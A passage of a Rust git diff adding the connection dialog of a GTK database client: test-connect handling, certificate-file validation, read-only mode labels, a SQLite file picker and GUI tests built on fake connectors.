existing.map_or(candidate.id, |saved| saved.id); + let connection = form.saved_connection(caps, &valid, id, existing); + let request = ConnectRequest { + metadata: ConnectionMetadata { + id, + name: connection.name.clone(), + driver_id: entry.id.clone(), + }, + driver: entry.driver.clone(), + target: valid.target.clone(), + workspace_settings: WorkspaceSettings::workspace(form.read_only), + }; + let pending_save = PendingSave { + secrets: form.secrets_to_store(&valid, &connection), + forget: form.secrets_to_forget(&valid), + connection, + is_new: existing.is_none(), + }; + Ok(ConnectSubmission { request, pending_save }) + } + + /// Hand the window what to connect to, and close. The window shows + /// the connect and saves the entry once it works. + fn submit(&self) { + match self.build_submission() { + Ok(submission) => { + self.stop_test(); + self.emit_by_name::<()>("submitted", &[&submission]); + self.close(); + } + Err(message) => self.show_toast(&message, None), + } + } + + fn toggle_test(&self) { + if self.imp().testing.get() { + self.stop_test(); + return; + } + let submission = match self.build_submission() { + Ok(submission) => submission, + Err(message) => { + self.show_toast(&message, None); + return; + } + }; + let Some(services) = self.services() else { + return; + }; + let imp = self.imp(); + let ticket = imp.tests.begin(); + let generation = ticket.generation(); + imp.testing.set(true); + imp.test_button.set_label(&crate::i18n::gettext("Stop")); + imp.test_button + .set_tooltip_text(Some(&crate::i18n::gettext("Stop the test"))); + self.refresh(); + + // A test entry is never saved, so it gets an id of its own. + let mut request = submission.request; + request.metadata.id = Uuid::new_v4(); + let connector = services.connector.clone(); + let interaction = services.interaction.clone(); + let cancel = ticket.cancel().clone(); + // Closing happens in the same task, so a connect that finishes + // after the user stopped waiting is still closed. + let work = async move { + let pending = connector.establish(request, interaction, cancel).await?; + let report = pending.discard().await; + tracing::debug!(?report, "closed the test connection"); + Ok::<(), ConnectError>(()) + }; + let weak = self.downgrade(); + crate::runtime::spawn_and_deliver(&services.tasks, work, move |outcome| { + let Some(dialog) = weak.upgrade() else { + return; + }; + let imp = dialog.imp(); + if !imp.testing.get() || !imp.tests.accepts(generation) { + return; + } + dialog.stop_test(); + match outcome { + Ok(Ok(())) => dialog.show_toast(&crate::i18n::gettext("Connection works"), None), + Ok(Err(ConnectError::Cancelled)) => {} + Ok(Err(error)) => dialog.show_toast( + &crate::ui::error_text::connect_error_message(&error), + crate::ui::error_text::connect_remedy(&error), + ), + Err(failure) => dialog.show_toast(&crate::ui::error_text::task_failure_message(&failure), None), + } + }); + } + + fn stop_test(&self) { + let imp = self.imp(); + imp.tests.cancel(); + if !imp.testing.replace(false) { + return; + } + imp.test_button.set_label(&crate::i18n::gettext("Test")); + imp.test_button.set_tooltip_text(Some(&crate::i18n::gettext( + "Connect once to check the settings, then disconnect", + ))); + self.refresh(); + } + + fn show_toast(&self, message: &str, remedy: Option) { + let toast = adw::Toast::new(message); + if let Some(remedy) = remedy { + toast.set_button_label(Some(&remedy.label())); + let weak = self.downgrade(); + toast.connect_button_clicked(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.reveal_field(remedy_field(remedy)); + } + }); + } + #[cfg(test)] + self.imp().toasts.borrow_mut().push(message.to_owned()); + self.imp().toast_overlay.add_toast(toast); + } +} + +/// The row that fixes a TLS failure. +pub fn remedy_field(remedy: TlsRemedy) -> FormField { + match remedy { + TlsRemedy::ChooseCaCertificate => FormField::CaFile, + TlsRemedy::SetServerName => FormField::ServerName, + } +} + +/// Capabilities for a registry with no drivers at all, so the form +/// still has something to read. +static NO_DRIVER: DriverCapabilities = DriverCapabilities { + endpoint: tablepro_core::EndpointKind::File, + auth_modes: &[], + tls: None, + read_only: tablepro_core::ReadOnlyEnforcement::LoginPrivileges, + dml_writes: tablepro_core::WriteAtomicity::Transactional, + ddl_writes: tablepro_core::WriteAtomicity::Transactional, + script_execution: tablepro_core::ScriptExecution::SingleStatement, + commit_resolution: tablepro_core::CommitResolutionSupport::Unavailable, + row_count_estimate: tablepro_core::EstimateQuality::Unavailable, + object_kinds: &[], + database_required: false, +}; + +fn auth_mode_label(mode: AuthMode) -> String { + match mode { + AuthMode::Password => crate::i18n::gettext("Password"), + AuthMode::Kerberos => crate::i18n::gettext("Windows (Kerberos)"), + } +} + +/// Where the remembered driver sits in the sorted list, falling back to +/// PostgreSQL and then to whatever is first, so an uninstalled driver +/// id in the settings never opens an empty dialog. +fn driver_index(drivers: &[DriverEntry], remembered: &str) -> usize { + drivers + .iter() + .position(|entry| entry.id == remembered) + .or_else(|| drivers.iter().position(|entry| entry.id == "postgres")) + .unwrap_or(0) +} diff --git a/linux/crates/app/src/ui/connect_dialog/pem_validation.rs b/linux/crates/app/src/ui/connect_dialog/pem_validation.rs new file mode 100644 index 0000000000..4e0bb976aa --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/pem_validation.rs @@ -0,0 +1,134 @@ +use std::cell::{Cell, RefCell}; + +use tablepro_core::{ConfigError, TlsConfig}; + +/// Where the check of the chosen certificate files stands. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum PemState { + /// No file to read, or every chosen file parsed. + Valid, + /// A read is running; Connect waits for it. + Pending, + Invalid(ConfigError), +} + +/// One run of the file check, to be matched against the latest. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct PemTicket(u64); + +/// Reads of the CA and client certificate files, newest wins. +/// +/// The files are read on the blocking pool, so a slow disk can answer +/// after the user has already picked another file. Every request gets +/// a generation and only the latest one may change the state. +#[derive(Debug)] +pub struct PemValidation { + latest: Cell, + state: RefCell, +} + +impl Default for PemValidation { + fn default() -> Self { + Self { + latest: Cell::new(0), + state: RefCell::new(PemState::Valid), + } + } +} + +impl PemValidation { + /// Whether `tls` names any file worth reading. + pub fn needs_check(tls: &TlsConfig) -> bool { + tls.ca_file.is_some() || tls.client_identity.is_some() + } + + /// Start a check, which makes every earlier one stale. + pub fn begin(&self) -> PemTicket { + let generation = self.latest.get().wrapping_add(1); + self.latest.set(generation); + self.state.replace(PemState::Pending); + PemTicket(generation) + } + + /// There is nothing to read any more; whatever is in flight is stale. + pub fn clear(&self) { + self.latest.set(self.latest.get().wrapping_add(1)); + self.state.replace(PemState::Valid); + } + + /// Record a finished check. Returns false, and changes nothing, for + /// a check that a later one replaced. + pub fn finish(&self, ticket: PemTicket, result: Result<(), ConfigError>) -> bool { + if ticket.0 != self.latest.get() { + return false; + } + self.state.replace(match result { + Ok(()) => PemState::Valid, + Err(error) => PemState::Invalid(error), + }); + true + } + + pub fn state(&self) -> PemState { + self.state.borrow().clone() + } +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use tablepro_core::CertificateFileProblem; + + use super::*; + + fn unreadable() -> ConfigError { + ConfigError::CaFile { + path: PathBuf::from("/etc/tls/ca.pem"), + problem: CertificateFileProblem::NoCertificates, + } + } + + #[test] + fn stale_generation_result_is_ignored() { + let validation = PemValidation::default(); + let first = validation.begin(); + let second = validation.begin(); + + assert!(!validation.finish(first, Err(unreadable())), "a stale result landed"); + assert_eq!(validation.state(), PemState::Pending); + + assert!(validation.finish(second, Ok(()))); + assert_eq!(validation.state(), PemState::Valid); + } + + #[test] + fn clearing_the_files_drops_the_check_in_flight() { + let validation = PemValidation::default(); + let running = validation.begin(); + + validation.clear(); + + assert!(!validation.finish(running, Err(unreadable()))); + assert_eq!(validation.state(), PemState::Valid); + } + + #[test] + fn a_failed_check_holds_its_error() { + let validation = PemValidation::default(); + let ticket = validation.begin(); + + assert!(validation.finish(ticket, Err(unreadable()))); + + assert_eq!(validation.state(), PemState::Invalid(unreadable())); + } + + #[test] + fn only_a_config_with_files_needs_reading() { + assert!(!PemValidation::needs_check(&TlsConfig::verify_full())); + assert!(PemValidation::needs_check(&TlsConfig { + ca_file: Some(PathBuf::from("/etc/tls/ca.pem")), + ..TlsConfig::verify_full() + })); + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/read_only_row.rs b/linux/crates/app/src/ui/connect_dialog/read_only_row.rs new file mode 100644 index 0000000000..76775e11c8 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/read_only_row.rs @@ -0,0 +1,32 @@ +use tablepro_core::ReadOnlyEnforcement; + +/// What read-only mode really guarantees on this engine. The three +/// differ in whether a statement can still turn it off, so the switch +/// says which one the user is getting. +pub fn read_only_subtitle(enforcement: ReadOnlyEnforcement) -> String { + match enforcement { + ReadOnlyEnforcement::EngineEnforced => crate::i18n::gettext("The database refuses changes on this connection."), + ReadOnlyEnforcement::SessionDefault => crate::i18n::gettext( + "Changes are refused unless a statement turns read-only off. Use a read-only login for a guarantee.", + ), + ReadOnlyEnforcement::LoginPrivileges => { + crate::i18n::gettext("SQL Server cannot enforce this. Use a login granted only SELECT.") + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn each_enforcement_says_something_different() { + let all = [ + ReadOnlyEnforcement::EngineEnforced, + ReadOnlyEnforcement::SessionDefault, + ReadOnlyEnforcement::LoginPrivileges, + ]; + let texts: std::collections::HashSet = all.into_iter().map(read_only_subtitle).collect(); + assert_eq!(texts.len(), all.len()); + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/row_problem.rs b/linux/crates/app/src/ui/connect_dialog/row_problem.rs new file mode 100644 index 0000000000..16d78653fe --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/row_problem.rs @@ -0,0 +1,21 @@ +use gtk4::prelude::*; + +/// Mark a row as holding a mistake, or clear the mark. +/// +/// The red style alone says nothing to a screen reader, so the row is +/// also flagged invalid and carries the sentence as its tooltip. +pub fn show_problem(row: &impl IsA, problem: Option<&str>) { + let row = row.as_ref(); + match problem { + Some(message) => { + row.add_css_class("error"); + row.set_tooltip_text(Some(message)); + row.update_state(&[gtk4::accessible::State::Invalid(gtk4::AccessibleInvalidState::True)]); + } + None => { + row.remove_css_class("error"); + row.set_tooltip_text(None); + row.reset_state(gtk4::AccessibleState::Invalid); + } + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/sqlite_file_row.rs b/linux/crates/app/src/ui/connect_dialog/sqlite_file_row.rs new file mode 100644 index 0000000000..1dbc40c405 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/sqlite_file_row.rs @@ -0,0 +1,174 @@ +use std::path::PathBuf; + +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::prelude::*; +use tablepro_core::{FileEndpoint, FileOpenMode}; + +mod imp { + use std::cell::RefCell; + use std::sync::OnceLock; + + use glib::subclass::Signal; + use libadwaita::subclass::prelude::*; + + use super::*; + + #[derive(Default, gtk4::CompositeTemplate)] + #[template(resource = "/app/tablepro/TablePro/ui/sqlite-file-row.ui")] + pub struct SqliteFileRow { + #[template_child] + pub choose_button: TemplateChild, + #[template_child] + pub create_button: TemplateChild, + pub endpoint: RefCell>, + } + + #[glib::object_subclass] + impl ObjectSubclass for SqliteFileRow { + const NAME: &'static str = "TableProSqliteFileRow"; + type Type = super::SqliteFileRow; + type ParentType = adw::ActionRow; + + fn class_init(klass: &mut Self::Class) { + klass.bind_template(); + } + + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } + } + + impl ObjectImpl for SqliteFileRow { + fn signals() -> &'static [Signal] { + static SIGNALS: OnceLock> = OnceLock::new(); + SIGNALS.get_or_init(|| vec![Signal::builder("changed").build()]) + } + + fn constructed(&self) { + self.parent_constructed(); + let row = self.obj(); + let weak = row.downgrade(); + self.choose_button.connect_clicked(move |_| { + if let Some(row) = weak.upgrade() { + glib::spawn_future_local(async move { row.choose_existing().await }); + } + }); + let weak = row.downgrade(); + self.create_button.connect_clicked(move |_| { + if let Some(row) = weak.upgrade() { + glib::spawn_future_local(async move { row.choose_new().await }); + } + }); + } + } + + impl WidgetImpl for SqliteFileRow {} + impl ListBoxRowImpl for SqliteFileRow {} + impl PreferencesRowImpl for SqliteFileRow {} + impl ActionRowImpl for SqliteFileRow {} +} + +glib::wrapper! { + /// The SQLite database file, opened as it is or created on connect. + pub struct SqliteFileRow(ObjectSubclass) + @extends adw::ActionRow, adw::PreferencesRow, gtk4::ListBoxRow, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Actionable, gtk4::Buildable, gtk4::ConstraintTarget; +} + +impl Default for SqliteFileRow { + fn default() -> Self { + glib::Object::new() + } +} + +impl SqliteFileRow { + pub fn endpoint(&self) -> Option { + self.imp().endpoint.borrow().clone() + } + + pub fn set_endpoint(&self, endpoint: Option) { + let subtitle = match &endpoint { + None => crate::i18n::gettext("No file chosen"), + Some(file) if file.mode() == FileOpenMode::CreateNew => crate::i18n::gettext_f( + "{path}, created when you connect", + &[("path", &file.path().display().to_string())], + ), + Some(file) => file.path().display().to_string(), + }; + self.set_subtitle(&subtitle); + self.imp().endpoint.replace(endpoint); + self.emit_by_name::<()>("changed", &[]); + } + + /// Take a path the file chooser returned. The portal only hands out + /// absolute paths, so a refusal here means it gave none at all. + pub fn adopt_choice(&self, path: PathBuf, mode: FileOpenMode) { + let endpoint = match mode { + FileOpenMode::OpenExisting => FileEndpoint::open_existing(path), + FileOpenMode::CreateNew => FileEndpoint::create_new(path), + }; + match endpoint { + Ok(endpoint) => self.set_endpoint(Some(endpoint)), + Err(error) => tracing::warn!(%error, "the file chooser returned an unusable path"), + } + } + + pub fn connect_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "changed", + false, + glib::closure_local!(move |row: &Self| { + f(row); + }), + ) + } + + async fn choose_existing(&self) { + let dialog = file_dialog(&crate::i18n::gettext("Open Database File")); + let chosen = dialog.open_future(self.parent_window().as_ref()).await; + if let Some(path) = chosen.ok().and_then(|file| file.path()) { + self.adopt_choice(path, FileOpenMode::OpenExisting); + } + } + + /// The save chooser asks before replacing a file that exists, and + /// the driver then replaces it whole, so no second question here. + async fn choose_new(&self) { + let dialog = file_dialog(&crate::i18n::gettext("New Database File")); + dialog.set_initial_name(Some("Untitled.sqlite3")); + let chosen = dialog.save_future(self.parent_window().as_ref()).await; + if let Some(path) = chosen.ok().and_then(|file| file.path()) { + self.adopt_choice(path, FileOpenMode::CreateNew); + } + } + + fn parent_window(&self) -> Option { + self.root().and_downcast::() + } +} + +fn file_dialog(title: &str) -> gtk4::FileDialog { + let sqlite = gtk4::FileFilter::new(); + sqlite.set_name(Some(&crate::i18n::gettext("SQLite databases"))); + for mime in ["application/vnd.sqlite3", "application/x-sqlite3"] { + sqlite.add_mime_type(mime); + } + for suffix in ["sqlite", "sqlite3", "db", "db3"] { + sqlite.add_suffix(suffix); + } + let any = gtk4::FileFilter::new(); + any.set_name(Some(&crate::i18n::gettext("All files"))); + any.add_pattern("*"); + let filters = gio::ListStore::new::(); + filters.append(&sqlite); + filters.append(&any); + gtk4::FileDialog::builder() + .title(title) + .modal(true) + .filters(&filters) + .default_filter(&sqlite) + .build() +} diff --git a/linux/crates/app/src/ui/connect_dialog/tests.rs b/linux/crates/app/src/ui/connect_dialog/tests.rs new file mode 100644 index 0000000000..5bd689d43c --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/tests.rs @@ -0,0 +1,636 @@ +use std::sync::Arc; +use std::time::Duration; + +use gtk4::{AccessibleProperty, AccessibleState}; +use tablepro_core::credentials::{CredentialInteraction, SecretKind}; +use tablepro_core::{DriverError, FileOpenMode, TlsFailure, TlsMode}; +use tablepro_session::RequestTarget; +use tablepro_session::fakes::{FakeConnector, FakeEstablish}; +use tablepro_test_support::ConnectionScript; + +use super::*; +use crate::test_support::{SignalLog, assert_labelled, wait_until}; +use crate::ui::ssh_inputs::SshAuthChoice; + +const WAIT: Duration = Duration::from_secs(10); + +struct Harness { + dialog: ConnectDialog, + connector: FakeConnector, + _runtime: crate::runtime::AppRuntime, +} + +struct Options { + connector: FakeConnector, + remembered: &'static str, + environment: SshEnvironment, + saved: Vec, + prefill: Option, +} + +impl Default for Options { + fn default() -> Self { + Self { + connector: FakeConnector::new([]), + remembered: "postgres", + environment: SshEnvironment::default(), + saved: Vec::new(), + prefill: None, + } + } +} + +fn registry() -> Arc { + let mut registry = DriverRegistry::new(); + registry.register(Arc::new(drivers_clickhouse::ClickhouseDriver)); + registry.register(Arc::new(drivers_mssql::MssqlDriver)); + registry.register(Arc::new(drivers_mysql::MysqlDriver)); + registry.register(Arc::new(drivers_postgres::PgDriver)); + registry.register(Arc::new(drivers_sqlite::SqliteDriver)); + Arc::new(registry) +} + +/// Every driver the app ships, so the combo has the shape a user sees. +fn open(options: Options) -> Harness { + let _ = adw::init(); + crate::register_test_resources(); + let runtime = crate::test_support::test_runtime(); + let dialog = ConnectDialog::new(ConnectDialogInit { + drivers: registry(), + connector: Arc::new(options.connector.clone()), + interaction: CredentialInteraction::Unattended, + tasks: runtime.tasks(), + saved_connections: Arc::from(options.saved), + remembered_driver: options.remembered.to_owned(), + ssh_environment: options.environment, + prefill: options.prefill, + }); + Harness { + dialog, + connector: options.connector, + _runtime: runtime, + } +} + +fn dialog() -> Harness { + open(Options::default()) +} + +fn select(dialog: &ConnectDialog, driver_id: &str) { + let index = dialog + .imp() + .drivers + .borrow() + .iter() + .position(|entry| entry.id == driver_id) + .unwrap_or_else(|| panic!("{driver_id} is not in the combo")); + dialog.imp().driver_row.set_selected(index as u32); +} + +fn fill_network(dialog: &ConnectDialog) { + let imp = dialog.imp(); + imp.host_row.set_text("db.example.com"); + imp.database_row.set_text("sales"); + imp.username_row.set_text("app"); + imp.password_row.set_text("s3cret"); +} + +fn caps_of(driver_id: &str) -> &'static DriverCapabilities { + registry() + .get(driver_id) + .map(|driver| driver.capabilities()) + .unwrap_or_else(|| panic!("{driver_id} is registered")) +} + +#[gtk4::test] +fn dialog_opens_with_remembered_driver_and_its_port() { + let harness = open(Options { + remembered: "clickhouse", + ..Options::default() + }); + let imp = harness.dialog.imp(); + + assert_eq!(harness.dialog.form().driver_id, "clickhouse"); + assert_eq!(imp.port_row.value() as u16, 8123); + assert_eq!(imp.host_row.text(), "", "the host was prefilled instead of left empty"); + assert_eq!(imp.username_row.text(), ""); +} + +#[gtk4::test] +fn an_uninstalled_remembered_driver_falls_back_to_postgres() { + let harness = open(Options { + remembered: "cassandra", + ..Options::default() + }); + + assert_eq!(harness.dialog.form().driver_id, "postgres"); +} + +#[gtk4::test] +fn driver_switch_keeps_user_edited_port() { + let harness = dialog(); + harness.dialog.imp().port_row.set_value(6543.0); + + select(&harness.dialog, "clickhouse"); + + assert_eq!( + harness.dialog.imp().port_row.value() as u16, + 6543, + "a driver switch overwrote a port the user typed" + ); +} + +#[gtk4::test] +fn a_driver_switch_moves_an_untouched_port() { + let harness = dialog(); + assert_eq!(harness.dialog.imp().port_row.value() as u16, 5432); + + select(&harness.dialog, "clickhouse"); + + assert_eq!(harness.dialog.imp().port_row.value() as u16, 8123); +} + +#[gtk4::test] +fn driver_switch_keeps_typed_host_and_user() { + let harness = dialog(); + fill_network(&harness.dialog); + + select(&harness.dialog, "sqlite"); + select(&harness.dialog, "clickhouse"); + + let imp = harness.dialog.imp(); + assert_eq!(imp.host_row.text(), "db.example.com"); + assert_eq!(imp.database_row.text(), "sales"); + assert_eq!(imp.username_row.text(), "app"); +} + +#[gtk4::test] +fn enter_in_any_text_row_reaches_connect() { + // Enter needs both halves: activates-default on the row, which is + // what makes AdwEntryRow call gtk_widget_activate_default, and + // Connect as the dialog's default widget for it to reach. + let harness = dialog(); + let imp = harness.dialog.imp(); + + assert!(imp.host_row.activates_default(), "host"); + assert!(imp.database_row.activates_default(), "database"); + assert!(imp.username_row.activates_default(), "username"); + assert!(imp.password_row.activates_default(), "password"); + assert!( + imp.tls_section.imp().server_name_row.activates_default(), + "TLS server name" + ); + assert_eq!( + harness.dialog.default_widget(), + Some(imp.connect_button.get().upcast::()), + "Connect is not the dialog's default widget" + ); +} + +#[gtk4::test] +fn every_ssh_text_row_submits_on_enter() { + let harness = dialog(); + + for (name, activates) in harness.dialog.imp().ssh_section.rows_activating_default() { + assert!(activates, "{name} does not submit on Enter"); + } +} + +#[gtk4::test] +fn connect_stays_insensitive_until_the_form_is_valid() { + // Enter on an invalid form does nothing because AdwDialog skips an + // insensitive default widget. + let harness = dialog(); + let imp = harness.dialog.imp(); + assert!( + !imp.connect_button.is_sensitive(), + "Connect was sensitive on an empty form" + ); + assert!( + imp.connect_button.tooltip_text().is_some(), + "an insensitive Connect does not say why" + ); + assert!( + !imp.host_row.has_css_class("error"), + "an untouched empty row is painted red" + ); + + fill_network(&harness.dialog); + + assert!( + imp.connect_button.is_sensitive(), + "Connect stayed insensitive on a valid form" + ); + assert!(imp.test_button.is_sensitive()); +} + +#[gtk4::test] +fn a_bad_host_is_marked_for_sight_and_for_screen_readers() { + let harness = dialog(); + fill_network(&harness.dialog); + let host = harness.dialog.imp().host_row.get(); + + host.set_text("db example.com"); + + assert!(host.has_css_class("error")); + assert!(gtk4::test_accessible_has_state( + host.upcast_ref::(), + AccessibleState::Invalid + )); + assert!(host.tooltip_text().is_some()); + + host.set_text("db.example.com"); + + assert!(!host.has_css_class("error")); + assert!(!gtk4::test_accessible_has_state( + host.upcast_ref::(), + AccessibleState::Invalid + )); +} + +#[gtk4::test] +fn encryption_combo_lists_only_capability_modes() { + let harness = dialog(); + for driver_id in ["postgres", "mysql", "mssql", "clickhouse"] { + select(&harness.dialog, driver_id); + let section = harness.dialog.imp().tls_section.get(); + let tls = caps_of(driver_id).tls.expect("a network driver with TLS"); + + assert!(section.is_visible(), "{driver_id}"); + assert_eq!( + section.imp().encryption_modes.n_items() as usize, + tls.modes.len(), + "{driver_id}" + ); + assert_eq!(harness.dialog.form().tls.mode, TlsMode::VerifyFull, "{driver_id}"); + } +} + +#[gtk4::test] +fn sqlite_shows_file_row_and_hides_security_and_ssh() { + let harness = dialog(); + + select(&harness.dialog, "sqlite"); + + let imp = harness.dialog.imp(); + assert!(imp.file_row.is_visible()); + assert!(!imp.host_row.is_visible()); + assert!(!imp.port_row.is_visible()); + assert!(!imp.database_row.is_visible()); + assert!(!imp.auth_group.is_visible()); + assert!(!imp.tls_section.is_visible()); + assert!(!imp.ssh_section.is_visible()); + + select(&harness.dialog, "postgres"); + assert!(!imp.file_row.is_visible()); + assert!(imp.tls_section.is_visible()); + assert!(imp.ssh_section.is_visible()); +} + +#[gtk4::test] +fn new_database_sets_create_new_endpoint() { + let harness = dialog(); + select(&harness.dialog, "sqlite"); + let root = tempfile::tempdir().expect("tempdir"); + let path = root.path().join("Untitled.sqlite3"); + + harness + .dialog + .imp() + .file_row + .adopt_choice(path.clone(), FileOpenMode::CreateNew); + + let file = harness.dialog.form().file.expect("a file"); + assert_eq!(file.path(), path); + assert_eq!(file.mode(), FileOpenMode::CreateNew); + assert!(harness.dialog.imp().connect_button.is_sensitive()); +} + +#[gtk4::test] +fn mysql_requires_database() { + let harness = dialog(); + select(&harness.dialog, "mysql"); + fill_network(&harness.dialog); + let imp = harness.dialog.imp(); + assert!(imp.connect_button.is_sensitive()); + + imp.database_row.set_text(""); + + assert!(!imp.connect_button.is_sensitive(), "MySQL connected with no database"); + select(&harness.dialog, "postgres"); + assert!(imp.connect_button.is_sensitive(), "PostgreSQL needs no database name"); +} + +#[gtk4::test] +fn read_only_subtitle_follows_enforcement() { + let harness = dialog(); + for driver_id in ["postgres", "mysql", "mssql", "clickhouse", "sqlite"] { + select(&harness.dialog, driver_id); + + assert_eq!( + harness + .dialog + .imp() + .read_only_row + .subtitle() + .map(|text| text.to_string()), + Some(read_only_row::read_only_subtitle(caps_of(driver_id).read_only)), + "{driver_id}" + ); + } +} + +#[gtk4::test] +fn connect_insensitive_while_pem_check_pending() { + let harness = dialog(); + fill_network(&harness.dialog); + let root = tempfile::tempdir().expect("tempdir"); + let ca = root.path().join("ca.pem"); + std::fs::write(&ca, b"-----BEGIN CERTIFICATE-----\nnot base64\n").expect("write"); + + harness + .dialog + .imp() + .tls_section + .set_file_path(FormField::CaFile, Some(ca)); + + assert_eq!(harness.dialog.imp().pem.state(), PemState::Pending); + assert!( + !harness.dialog.imp().connect_button.is_sensitive(), + "Connect was sensitive before the file was read" + ); +} + +#[gtk4::test] +fn invalid_ca_marks_row_error_and_disables_connect() { + let harness = dialog(); + fill_network(&harness.dialog); + let root = tempfile::tempdir().expect("tempdir"); + let ca = root.path().join("ca.pem"); + std::fs::write(&ca, b"this is not a certificate").expect("write"); + let imp = harness.dialog.imp(); + + imp.tls_section.set_file_path(FormField::CaFile, Some(ca)); + wait_until(WAIT, || matches!(imp.pem.state(), PemState::Invalid(_))).expect("the file check"); + + let ca_row = imp.tls_section.imp().ca_row.get(); + assert!(ca_row.has_css_class("error")); + assert!(gtk4::test_accessible_has_state( + ca_row.upcast_ref::(), + AccessibleState::Invalid + )); + assert!( + ca_row + .subtitle() + .is_some_and(|subtitle| subtitle.contains("no certificates")), + "{:?}", + ca_row.subtitle() + ); + assert!(!imp.connect_button.is_sensitive()); + + imp.tls_section.set_file_path(FormField::CaFile, None); + assert_eq!(imp.pem.state(), PemState::Valid); + assert!( + imp.connect_button.is_sensitive(), + "clearing the bad file did not re-enable Connect" + ); +} + +#[gtk4::test] +fn connect_emits_submission_without_establishing() { + let harness = dialog(); + fill_network(&harness.dialog); + let submissions = SignalLog::connect(&harness.dialog, "submitted", |values| { + values[1].get::().expect("a submission") + }); + + harness.dialog.imp().connect_button.emit_clicked(); + + let mut sent = submissions.take(); + assert_eq!(sent.len(), 1); + assert!(harness.connector.calls().is_empty(), "the dialog connected by itself"); + let submission = sent.remove(0); + assert_eq!(submission.request.metadata.driver_id, "postgres"); + assert_eq!(submission.request.metadata.id, submission.pending_save.connection.id); + assert!(submission.pending_save.is_new); + assert_eq!(submission.pending_save.connection.host, "db.example.com"); + let kinds: Vec = submission + .pending_save + .secrets + .iter() + .map(|secret| secret.kind) + .collect(); + assert_eq!(kinds, vec![SecretKind::DatabasePassword]); + let RequestTarget::Network { tls, .. } = &submission.request.target else { + panic!("expected a network target"); + }; + assert_eq!(tls.mode, TlsMode::VerifyFull); +} + +#[gtk4::test] +fn a_reopened_entry_keeps_its_id_after_the_host_changes() { + let first = dialog(); + fill_network(&first.dialog); + let log = SignalLog::connect(&first.dialog, "submitted", |values| { + values[1].get::().expect("a submission") + }); + first.dialog.imp().connect_button.emit_clicked(); + let saved = log.take().remove(0).pending_save.connection; + drop(log); + + let reopened = open(Options { + saved: vec![saved.clone()], + prefill: Some(ConnectPrefill { + connection: saved.clone(), + password: Some(SecretString::from("s3cret")), + }), + ..Options::default() + }); + assert_eq!(reopened.dialog.imp().host_row.text(), "db.example.com"); + assert_eq!(reopened.dialog.imp().password_row.text(), "s3cret"); + reopened.dialog.imp().host_row.set_text("db2.example.com"); + let log = SignalLog::connect(&reopened.dialog, "submitted", |values| { + values[1].get::().expect("a submission") + }); + reopened.dialog.imp().connect_button.emit_clicked(); + + let edited = log.take().remove(0).pending_save; + assert_eq!(edited.connection.id, saved.id); + assert!(!edited.is_new); + assert_eq!(edited.connection.host, "db2.example.com"); +} + +#[gtk4::test] +fn test_button_stop_cancels_establish() { + let harness = open(Options { + connector: FakeConnector::new([]).always(FakeEstablish::UntilCancelled), + ..Options::default() + }); + fill_network(&harness.dialog); + let imp = harness.dialog.imp(); + + imp.test_button.emit_clicked(); + assert_eq!(imp.test_button.label().as_deref(), Some("Stop")); + wait_until(WAIT, || harness.connector.calls().len() == 1).expect("the test connect"); + + imp.test_button.emit_clicked(); + + assert_eq!(imp.test_button.label().as_deref(), Some("Test")); + crate::test_support::drain_main_context(); + assert!(imp.toasts.borrow().is_empty(), "a stopped test reported something"); +} + +#[gtk4::test] +fn test_success_toast_has_no_count() { + let harness = open(Options { + connector: FakeConnector::new([FakeEstablish::Connect(ConnectionScript::default())]), + ..Options::default() + }); + fill_network(&harness.dialog); + let imp = harness.dialog.imp(); + + imp.test_button.emit_clicked(); + wait_until(WAIT, || !imp.toasts.borrow().is_empty()).expect("the test result"); + + assert_eq!(imp.toasts.borrow().as_slice(), ["Connection works"]); + assert_eq!(imp.test_button.label().as_deref(), Some("Test")); + let connections = harness.connector.connections(); + assert_eq!(connections.len(), 1); + assert_eq!(harness.connector.calls()[0].request.metadata.driver_id, "postgres"); +} + +#[gtk4::test] +fn a_failed_test_names_the_problem() { + let harness = open(Options { + connector: FakeConnector::new([FakeEstablish::Fail(ConnectError::Driver(DriverError::Tls { + failure: TlsFailure::UnknownIssuer, + detail: "unknown issuer".to_owned(), + }))]), + ..Options::default() + }); + fill_network(&harness.dialog); + let imp = harness.dialog.imp(); + + imp.test_button.emit_clicked(); + wait_until(WAIT, || !imp.toasts.borrow().is_empty()).expect("the test result"); + + let toast = imp.toasts.borrow()[0].clone(); + assert!(toast.contains("CA certificate"), "{toast}"); +} + +#[gtk4::test] +fn the_tls_remedy_opens_the_certificate_rows() { + let harness = dialog(); + let section = harness.dialog.imp().tls_section.get(); + assert!(!section.imp().certificates_row.is_expanded()); + + harness + .dialog + .reveal_field(remedy_field(TlsRemedy::ChooseCaCertificate)); + + assert!(section.imp().certificates_row.is_expanded()); +} + +#[gtk4::test] +fn agent_is_default_with_ssh_auth_sock() { + let with_agent = open(Options { + environment: SshEnvironment { + agent: true, + default_key: Some("/home/u/.ssh/id_ed25519".into()), + }, + ..Options::default() + }); + let section = with_agent.dialog.imp().ssh_section.get(); + section.enable(); + assert_eq!(section.form_state().map(|state| state.auth), Some(SshAuthChoice::Agent)); + + let key_only = open(Options { + environment: SshEnvironment { + agent: false, + default_key: Some("/home/u/.ssh/id_ed25519".into()), + }, + ..Options::default() + }); + let section = key_only.dialog.imp().ssh_section.get(); + section.enable(); + let state = section.form_state().expect("the tunnel is on"); + assert_eq!(state.auth, SshAuthChoice::PrivateKey); + assert_eq!(state.key_path, "/home/u/.ssh/id_ed25519"); +} + +#[gtk4::test] +fn an_ssh_alias_alone_is_enough_to_connect() { + let harness = open(Options { + environment: SshEnvironment { + agent: true, + default_key: 